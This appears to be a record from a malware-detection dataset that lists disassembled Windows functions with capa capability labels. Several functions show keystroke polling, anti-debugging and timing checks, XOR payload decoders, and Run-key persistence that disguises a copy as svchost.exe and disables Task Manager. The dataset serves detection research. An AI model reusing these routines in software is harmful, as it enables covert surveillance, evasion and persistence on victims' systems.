joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4049a0
Capabilities:
Create thread

Disassembly:
sub esp, 0x44
mov eax, dword [0x44d6b0]
xor eax, esp
mov dword [esp + 0x40], eax
push ebx
push ebp
push esi
mov esi, dword [esp + 0x54]
push 3
push 0x4417f0
push esi
mov ebp, ecx
call fcn.0043eae4
add esp, 0xc
xor ebx, ebx
test eax, eax
jne 0x404a20
lea eax, [esi + 3]
push eax
call fcn.0042bba4
add esp, 4
cmp eax, 0xa
jl 0x404a20
mov dl, byte [0x4417ec]
mov ecx, dword [str.._]
mov eax, esi
mov byte [esp + 0x40], dl
mov dword [esp + 0x3c], ecx
mov edx, eax
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x4049f6
push edi
lea edi, [esp + 0x40]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
cmp cl, bl
jne 0x404a05
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea esi, [esp + 0x40]
pop edi
push ebx
push 0x40000000
push 3
push ebx
push ebx
push 0xc0000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp], eax
cmp eax, 0xffffffff
jne 0x404a57
pop esi
mov dword [ebp], ebx
pop ebp
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x40]
xor ecx, esp
call fcn.00429e93
add esp, 0x44
ret 8
lea ecx, [esp + 0x20]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetCommState]
mov eax, dword [esp + 0x28]
mov esi, dword [esp + 0x58]
and eax, 0xfffff7fd
or eax, 1
lea edx, [esp + 0x20]
mov dword [esp + 0x28], eax
mov eax, dword [ebp]
push edx
push eax
mov dword [esp + 0x28], 0x1c
mov dword [esp + 0x2c], esi
mov byte [esp + 0x3c], bl
mov byte [esp + 0x3b], bl
mov byte [esp + 0x3a], 8
call dword [sym.imp.KERNEL32.dll_SetCommState]
mov edx, dword [ebp]
lea ecx, [esp + 0xc]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_GetCommTimeouts]
mov eax, 0x4b00
cdq
idiv esi
mov ecx, dword [ebp]
mov dword [esp + 0xc], 0xffffffff
mov dword [esp + 0x10], ebx
mov dword [esp + 0x14], ebx
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x18], eax
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_SetCommTimeouts]
mov esi, dword [sym.imp.KERNEL32.dll_CreateEventA]
push ebx
push ebx
push 1
push ebx
call esi
push ebx
push ebx
push 1
push ebx
mov dword [ebp + 0x14], eax
mov dword [ebp + 4], ebx
mov dword [ebp + 8], ebx
mov dword [ebp + 0xc], ebx
mov dword [ebp + 0x10], ebx
call esi
lea edx, [ebp + 0x2c]
push edx
push ebx
push ebp
push 0x404880
push ebx
push ebx
mov dword [ebp + 0x28], eax
mov dword [ebp + 0x18], ebx
mov dword [ebp + 0x1c], ebx
mov dword [ebp + 0x20], ebx
mov dword [ebp + 0x24], ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [esp + 0x4c]
pop esi
pop ebp
pop ebx
xor ecx, esp
mov eax, 1
call fcn.00429e93
add esp, 0x44
ret 8
Function at 0x4054c0
Capabilities:
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
push ebp
push esi
push edi
xor edi, edi
push edi
push 0x80
push 3
push edi
push edi
push 0x80000000
push eax
mov esi, ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push edi
lea ecx, [esp + 0x14]
push ecx
push 4
lea ebp, [esi + 0x3e0]
push ebp
push eax
mov dword [esi + 0x3cc], eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
cmp byte [esp + 0x14], 0
je 0x4055c2
mov eax, dword [ebp]
xor ecx, ecx
mov edx, 4
mul edx
seto cl
push ebx
neg ecx
or ecx, eax
push ecx
call fcn.00429f50
mov ecx, dword [ebp]
add ecx, ecx
add ecx, ecx
push ecx
push edi
push eax
mov dword [esi + 0x3f0], eax
call fcn.00429eb0
mov ebx, dword [sym.imp.KERNEL32.dll_SetFilePointer]
add esp, 0x10
cmp dword [ebp], edi
jle 0x4055a2
jmp 0x405550
mov ecx, dword [esi + 0x3cc]
push 0
lea edx, [esp + 0x18]
push edx
push 4
lea eax, [esp + 0x24]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov edx, dword [esi + 0x3cc]
push 1
push 0
push 0xfffffffffffffffc
push edx
call ebx
mov eax, dword [esi + 0x3f0]
mov ecx, dword [esp + 0x18]
mov dword [eax + edi*4], ecx
mov edx, dword [esp + 0x18]
mov ecx, dword [esi + 0x3cc]
push 1
push 0
lea eax, [edx + edx]
push eax
push ecx
call ebx
inc edi
cmp edi, dword [ebp]
jl 0x405550
mov edx, dword [esi + 0x3cc]
push 0
push 0
push 4
push edx
call ebx
pop ebx
pop edi
mov dword [esi + 0x424], 0
pop esi
pop ebp
ret 8
mov dword [esi + 0x424], edi
pop edi
pop esi
pop ebp
ret 8

Function at 0x405600
Capabilities:
Read file on windows

Disassembly:
push ecx
push ebx
mov ebx, dword [esp + 0xc]
push esi
mov esi, ecx
cmp ebx, dword [esi + 0x3e0]
jge 0x405682
mov eax, dword [esi + 0x3cc]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
push 0
push 4
push eax
mov byte [esi + 0x428], 0
mov dword [esi + 0x424], ebx
call edi
dec ebx
test ebx, ebx
jle 0x405681
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [esi + 0x3cc]
push 0
lea ecx, [esp + 0x14]
push ecx
push 4
lea edx, [esp + 0x24]
push edx
push eax
call ebp
mov ecx, dword [esi + 0x3cc]
push 1
push 0
push 0xfffffffffffffffc
push ecx
call edi
mov edx, dword [esp + 0x18]
mov ecx, dword [esi + 0x3cc]
push 1
push 0
lea eax, [edx + edx]
push eax
push ecx
call edi
sub ebx, 1
jne 0x405640
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret 4
Function at 0x407460
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
sub esp, 8
mov eax, dword [ecx + 0x3d0]
mov ecx, dword [ecx + 0x3d4]
mov edx, dword [esp + 0xc]
push ebx
push ebp
push esi
add ecx, ecx
push edi
mov dword [esp + 0x14], ecx
mov edi, eax
mov dword [esp + 0x10], 0x500
mov ecx, edi
mov esi, 0x180
mov edi, edi
mov eax, dword [ecx]
mov ebx, eax
shr ebx, 5
mov ebp, eax
and ebx, 0xffc0f83f
and ebp, 0x7e0f81f
imul ebx, edx
imul ebp, edx
shr eax, 5
and eax, 0x7c0f83f
imul eax, edx
shr ebp, 5
xor ebx, ebp
and ebx, 0x7e0f81f
xor ebx, eax
mov dword [ecx], ebx
add ecx, 4
sub esi, 1
jne 0x407490
add edi, dword [esp + 0x14]
sub dword [esp + 0x10], 1
jne 0x407487
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
ret 4

Function at 0x4077e0
Capabilities:
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
push ebx
push ebp
push esi
push 0x44146c
push eax
mov esi, ecx
xor ebx, ebx
call fcn.0042aa6f
mov ebp, eax
add esp, 8
test ebp, ebp
je 0x4078e9
push edi
push ebp
push 1
lea edi, [esi + 0x3e0]
push 4
push edi
call fcn.0042a98e
mov eax, dword [edi]
xor ecx, ecx
mov edx, 4
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.00429f50
add esp, 0x14
xor edi, edi
cmp dword [esi + 0x3e0], ebx
mov dword [esi + 0x3e4], eax
jle 0x4078c0
push ebp
push 1
lea eax, [esp + 0x1c]
push 4
push eax
call fcn.0042a98e
push 1
push 0xfffffffffffffffc
push ebp
call fcn.0042bc39
mov eax, dword [esp + 0x30]
xor ecx, ecx
mov edx, 2
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.00429f50
mov ecx, dword [esi + 0x3e4]
mov dword [ecx + edi*4], eax
mov edx, dword [esp + 0x34]
mov ecx, dword [esi + 0x3e4]
push ebp
lea eax, [edx + edx]
mov edx, dword [ecx + edi*4]
push 1
push eax
push edx
call fcn.0042a98e
add esp, 0x30
push edi
mov ecx, esi
call fcn.004055d0
movsx ecx, bx
cmp ecx, eax
jge 0x4078b7
push edi
mov ecx, esi
call fcn.004055d0
movzx ebx, ax
inc edi
cmp edi, dword [esi + 0x3e0]
jl 0x407844
xor ecx, ecx
movsx eax, bx
mov edx, 2
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.00429f50
push ebp
mov dword [esi + 0x3e8], eax
call fcn.0042a672
add esp, 8
pop edi
push 0x500
push 0x300
push 0
push 0
add esi, 0x3f8
push esi
call dword [sym.imp.USER32.dll_SetRect]
pop esi
pop ebp
pop ebx
ret 4
Function at 0x425420
Capabilities:
Log keystrokes via polling

Disassembly:
cmp dword [0x4506b4], 1
push esi
movzx esi, word [esp + 8]
push esi
jne 0x42543b
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
jmp 0x425449
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
mov ecx, 0x8000
test cx, ax
mov eax, dword [esi*4 + 0x44fc48]
je 0x425474
test eax, eax
jne 0x425468
mov dword [esi*4 + 0x44fc48], 1
mov eax, 1
pop esi
ret
cmp eax, 1
jne 0x42547e
mov eax, 2
pop esi
ret
cmp eax, 1
je 0x425482
cmp eax, 2
je 0x425482
xor eax, eax
pop esi
ret
mov dword [esi*4 + 0x44fc48], 0
mov eax, 3
pop esi
ret
Function at 0x429e93
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x44d6b0]
jne 0x429e9d
repz ret
jmp fcn.0042c698

Function at 0x43664d
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00432677
and dword [ebp - 4], 0
cmp dword [0x452c78], 0
mov ebx, eax
jne 0x4366fe
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x4367af
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x448838
push edi
call esi
test eax, eax
je 0x4367af
push eax
call fcn.00432605
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x452c78], eax
call esi
push eax
call fcn.00432605
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x452c7c], eax
call esi
push eax
call fcn.00432605
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x452c80], eax
call esi
push eax
call fcn.00432605
pop ecx
mov dword [0x452c88], eax
test eax, eax
je 0x4366fe
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00432605
pop ecx
mov dword [0x452c84], eax
mov eax, dword [0x452c84]
cmp eax, ebx
je 0x436756
cmp dword [0x452c88], ebx
je 0x436756
push eax
call fcn.00432680
push dword [0x452c88]
mov esi, eax
call fcn.00432680
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x436756
test edi, edi
je 0x436756
call esi
test eax, eax
je 0x43674d
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x43674d
test byte [ebp - 0xc], 1
jne 0x436756
or dword [ebp + 0x10], 0x200000
jmp 0x43678f
mov eax, dword [0x452c7c]
cmp eax, ebx
je 0x43678f
push eax
call fcn.00432680
pop ecx
test eax, eax
je 0x43678f
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x43678f
mov eax, dword [0x452c80]
cmp eax, ebx
je 0x43678f
push eax
call fcn.00432680
pop ecx
test eax, eax
je 0x43678f
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x452c78]
call fcn.00432680
pop ecx
test eax, eax
je 0x4367af
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x4367b1
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401a80
Capabilities:
Check for peb beingdebugged flag

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x40c040]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 8], 0
xor eax, eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 2]
and eax, 0xff
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x401ab9
mov dword [ebp - 0xc], 0x1000
jmp 0x401ac0
mov dword [ebp - 0xc], 0
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00407861
mov esp, ebp
pop ebp
ret

Function at 0x401ae0
Capabilities:
Check for debugger via api

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x40c040]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0xc], 0xffffffff
mov dword [ebp - 8], 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [ebp - 0xc], eax
lea eax, [ebp - 8]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
cmp dword [ebp - 8], 0
je 0x401b24
mov dword [ebp - 0x10], 0x1001
jmp 0x401b2b
mov dword [ebp - 0x10], 0
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00407861
mov esp, ebp
pop ebp
ret

Function at 0x401c10
Capabilities:
Check for peb ntglobalflag flag

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x40c040]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 8], 0
xor eax, eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0x68]
and eax, 0x70
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x401c47
mov dword [ebp - 0xc], 0x1000
jmp 0x401c4e
mov dword [ebp - 0xc], 0
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00407861
mov esp, ebp
pop ebp
ret

Function at 0x401de0
Capabilities:
Check for unexpected memory writes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x40c040]
xor eax, ebp
mov dword [ebp - 4], eax
push 4
push 0x3000
push 0x4000
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x401e17
mov eax, 0x1009
jmp 0x402075
push 4
push 0x203000
push 0x1000000
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x401e4f
push 0x8000
push 0
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, 0x1009
jmp 0x402075
mov ecx, 4
imul edx, ecx, 0
mov eax, dword [ebp - 0x10]
mov dword [eax + edx], 0x4d2
mov dword [ebp - 8], 0x1000
lea ecx, [ebp - 0xc]
push ecx
lea edx, [ebp - 8]
push edx
mov eax, dword [ebp - 0x14]
push eax
push 0x1000
mov ecx, dword [ebp - 0x10]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetWriteWatch]
test eax, eax
je 0x401e95
mov eax, 0x1009
jmp 0x402075
push 0x8000
push 0
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push 0x8000
push 0
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
cmp dword [ebp - 8], 1
jne 0x401ec6
mov dword [ebp - 0x1c], 0
jmp 0x401ecd
mov dword [ebp - 0x1c], 0x1009
mov eax, dword [ebp - 0x1c]
jmp 0x402075
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00407861
mov esp, ebp
pop ebp
ret
Function at 0x402390
Capabilities:
Check for outputdebugstring error
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 1]
call fcn.00402430
mov ecx, eax
call fcn.00402a10
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x4023cb
mov dword [ebp - 8], 0x2005
jmp 0x4023d2
mov dword [ebp - 8], 0
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret

Function at 0x402480
Capabilities:
Execute anti-debugging instructions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x40c040]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
xorps xmm0, xmm0
movlpd qword [ebp - 0x1c], xmm0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
rdtsc
mov dword [ebp - 0x10], edx
mov dword [ebp - 8], eax
xor eax, eax
mov eax, 5
shr eax, 2
sub eax, ebx
cmp eax, ecx
rdtsc
mov dword [ebp - 0x14], edx
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x10]
cdq
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 0x24]
mov edx, dword [ebp - 0x20]
mov cl, 0x20
call fcn.00408760
mov ecx, eax
mov esi, edx
mov eax, dword [ebp - 8]
cdq
or ecx, eax
or esi, edx
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x20], esi
mov eax, dword [ebp - 0x14]
cdq
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x18]
mov cl, 0x20
call fcn.00408760
mov ecx, eax
mov esi, edx
mov eax, dword [ebp - 0xc]
cdq
or ecx, eax
or esi, edx
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x18], esi
mov edx, dword [ebp - 0x1c]
sub edx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x18]
sbb eax, dword [ebp - 0x20]
mov dword [ebp - 0x30], edx
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0
ja 0x402538
cmp dword [ebp - 0x30], 0x10000
jbe 0x402541
mov dword [ebp - 0x28], 0x3000
jmp 0x402548
mov dword [ebp - 0x28], 0
mov eax, dword [ebp - 0x28]
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00407861
mov esp, ebp
pop ebp
ret

Function at 0x402560
Capabilities:
Check for time delay via queryperformancecounter

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x40c040]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
xor eax, eax
push eax
push ecx
pop eax
pop ecx
sub ecx, eax
shl ecx, 4
lea ecx, [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov edx, dword [ebp - 0xc]
sub edx, dword [ebp - 0x14]
mov eax, dword [ebp - 8]
sbb eax, dword [ebp - 0x10]
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jl 0x4025b8
jg 0x4025af
cmp dword [ebp - 0x20], 0x1e
jbe 0x4025b8
mov dword [ebp - 0x18], 0x3001
jmp 0x4025bf
mov dword [ebp - 0x18], 0
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00407861
mov esp, ebp
pop ebp
ret
Function at 0x408131
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x408170
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x408170
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x408170
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x408170
cmp dword [ecx + 0x74], 0xe
jbe 0x408170
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x930168
Capabilities:
Encode data using xor

Disassembly:
pushal
call 0x93016e
pop ebp
sub ebp, 6
sub ebp, 0x530168
jmp 0x9301cc
jmp 0x9301d5
mov eax, 0x530168
add eax, ebp
add eax, 0x93
mov ecx, 0x61a
mov edx, 0x6c7fb738
xor byte [eax], dl
inc eax
dec ecx
jne 0x9301ec
jmp 0x9301ff
push edx
js 0x930252
cmp byte [eax], ch
cmp byte [eax], bh
push eax
cmp ah, dh
adc al, 0x38
or edi, eax
push 0x7940adc7
jno 0x93024c
push 0xb1b3f5b3
add al, 0x38
cmp byte [eax], bh
mov ecx, 0x3838c0f9
cmp byte [ebx], bh
cmc
cmp byte [esi], 0x38
cmp byte [eax], bh
adc byte [eax], 0x38
cmp byte [eax], bh
iretd
cmp byte [eax], bh
sar byte [0xd1383838], 1
cmp cl, dl
adc bh, byte [eax]
cmp byte [eax], bh
insd dword es:[edi], dx
mov ch, 0x54
sbb al, 0x38
mov bl, 0xbd
xor byte [eax], bh
cmp byte [eax], bh
mov bl, 0xad
xor al, 0x38
cmp byte [eax], bh
mov bl, 0xb5
sub byte [eax], bh
cmp byte [eax], bh
stc
sar dword [edx], 1
or dword [edx], edi
mov ebx, 0x37713cfa
mov ebp, 0xc7c7c7cc
cli
xor al, 0x38
mov bl, 0xb4
sbb al, 0x3c
cmp byte [eax], bh
cmp byte [eax - 0x5e], dl
push cs
xor dword [eax], edi
push eax
cmc
bnd jno 0x9302cb
cmp dword [esp + ebx], edx
imul edx, eax, 0x3838383d
ror dword [ebx], 1
cmp bh, byte [eax]
cmp byte [ebp - 0x4d], ch
aam 0xc7
dec ebp
xor al, 0xc7
dec ebp
xor al, dl
pop esi
cmp byte [eax], bh
cmp byte [ebx + 0x38383085], dh
cmp byte [ebx], cl
int1
or ebp, edx
mov ebx, 0x37703dd0
aaa
mov esp, 0x38383876
aaa
mov al, 0x70
cmp byte [eax], bh
cmp byte [esi - 0x4d], bl
and al, 1
mov eax, 0xbc37d0c3
and bh, byte [eax]
cmp byte [eax], bh
mov eax, 0xbc37d1c3
sub dword [eax], edi
cmp byte [eax], bh
pop esi
mov ecx, 0x371dc7c3
mov esp, 0x3838382d
jns 0x9302bd
hlt
Function at 0x401ea2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410284]
jne 0x401eac
repz ret
jmp fcn.00403e53

Function at 0x4052f2
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x405301
pop dword [ebp - 0x18]
mov eax, 0x405301
sub dword [ebp - 0x18], eax
mov dword [ebp - 0x28], 0x5bf27919
add dword [ebp - 0x28], 0xf25fcc32
mov dword [ebp - 0x24], 0xa27bab12
sub dword [ebp - 0x24], 0x70485ecd
mov dword [ebp - 0x20], 0x5a5d13d7
sub dword [ebp - 0x20], 0xe10cfa9
mov dword [ebp - 0x1c], 0x74c77466
add dword [ebp - 0x1c], 0x8b388b9a
lea eax, [ebp - 0x28]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 0x18]
call dword [eax]
mov dword [ebp - 0x28], 0xa5579020
sub dword [ebp - 0x28], 0x30e526ca
mov dword [ebp - 0x24], 0x848065b3
add dword [ebp - 0x24], 0xbcebfbc2
mov dword [ebp - 0x20], 0x448fa75f
sub dword [ebp - 0x20], 0xe1203af3
mov dword [ebp - 0x1c], 0xb485bf49
sub dword [ebp - 0x1c], 0xb485bf49
lea ebx, [ebp - 0x28]
push ebx
push eax
mov eax, 0x880e53af
add eax, 0x78327c9d
add eax, dword [ebp - 0x18]
call dword [eax]
push 0x40
push 0x1000
push 0x3c422
push 0
call eax
mov ecx, 0x74ee086d
sub ecx, 0x74edb58c
mov ebx, eax
mov esi, 0x41b000
add esi, dword [ebp - 0x18]
mov edx, 0x58e8b2cb
add edx, 0x832e55ea
add dword [ebp - 0x10], edi
mov edi, dword [esi]
xor dword [ebp - 8], 0xa21c88ea
xor edi, edx
sub dword [ebp - 0x10], 0xe1775d30
mov dword [ebx], edi
sub dword [ebp - 0x14], ebx
add ebx, 4
add esi, 0x4f4c6255
sub esi, 0x4f4c6251
loop 0x405413
add eax, 0xe05abf89
sub eax, 0xe0598132
mov ebx, eax
add eax, 5
mov ecx, 0xe2f79027
sub ecx, 0xe2b79027
add ecx, dword [ebp - 0x18]
call ebx
leave
ret

Function at 0x40892f
Capabilities:
Encode data using xor

Disassembly:
sub esp, 4
mov dword [esp], 0x4085d8
pop edi
or eax, eax
call fcn.00408969
dec ebx
xor dword [ecx], edi
inc ecx
sub esp, 4
mov dword [esp], 0x22cd405e
pop ebx
add eax, 0x31b9b3dc
cmp ecx, edx
jne fcn.0040892f
sub ebx, 0x7a8c3961
ret
Function at 0x403490
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x40d040]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
cmp dword [esi + 0x38], 0
je 0x40354c
cmp byte [esi + 0x3d], 0
je 0x40354c
mov eax, dword [esi]
push edi
push 0xffffffffffffffff
call dword [eax + 0xc]
cmp eax, 0xffffffff
je 0x40353a
mov ecx, dword [esi + 0x38]
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [esi + 0x40]
push eax
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet___char___char___char___const]
sub eax, 0
je 0x403501
sub eax, 1
je 0x403505
sub eax, 2
jne 0x40353a
mov byte [esi + 0x3d], al
mov al, 1
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040793e
mov esp, ebp
pop ebp
ret
mov byte [esi + 0x3d], 0
mov edi, dword [ebp - 0x28]
lea eax, [ebp - 0x24]
sub edi, eax
je 0x403523
push dword [esi + 0x4c]
push edi
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
cmp edi, eax
jne 0x40353a
cmp byte [esi + 0x3d], 0
pop edi
sete al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040793e
mov esp, ebp
pop ebp
ret
pop edi
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040793e
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov al, 1
xor ecx, ebp
pop esi
call fcn.0040793e
mov esp, ebp
pop ebp
ret
Function at 0x406320
Capabilities:
Copy file
Create directory
Disable system features via registry on windows
Get common file path
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push ebx
push esi
push edi
mov dword [ebp - 8], 1
mov edi, dword [ebp - 8]
push edi
push 0
push 0
push 0x25
push 0
mov dword [ebp - 0x18], str.SOFTWAREMicrosoftWindowsCurrentVersionRun
mov dword [ebp - 0x14], str.SOFTWAREMicrosoftWindowsCurrentVersionRunOnce
mov dword [ebp - 0x10], str.SOFTWAREMicrosoftWindowsCurrentVersionRunOnceEx
mov dword [ebp - 0xc], str.SOFTWAREMicrosoftWindowsCurrentVersionRunServices
mov dword [ebp - 0x28], str.Generic_Host_Process_for_Win32_Services
mov dword [ebp - 0x24], str.Windows_Updater
mov dword [ebp - 0x20], str.Windows_Server
mov dword [ebp - 0x1c], 0x4095e8
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
js 0x4063fb
push str.Generic
push 0x104
push edi
call fcn.004032e0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push str._svchost.exe
push 0x104
push edi
call fcn.004032e0
push 0
push edi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CopyFileA]
xor esi, esi
nop dword [eax + eax]
lea eax, [ebp - 4]
push eax
push 2
push 0
push dword [ebp + esi - 0x18]
push 0x80000002
call ebx
push 0x103
push edi
push 1
push 0
push dword [ebp + esi - 0x28]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
add esi, 4
cmp esi, 0x10
jb 0x4063c0
mov dword [ebp - 0x10], str.DisableTaskMgr
xor esi, esi
mov dword [ebp - 0xc], str.DisableRegistrytools
nop dword [eax + eax]
lea eax, [ebp - 4]
push eax
push 2
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
push 0x80000001
call ebx
push 4
lea eax, [ebp - 8]
push eax
push 4
push 0
push dword [ebp + esi*4 - 0x10]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
inc esi
cmp esi, 2
jb 0x406410
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret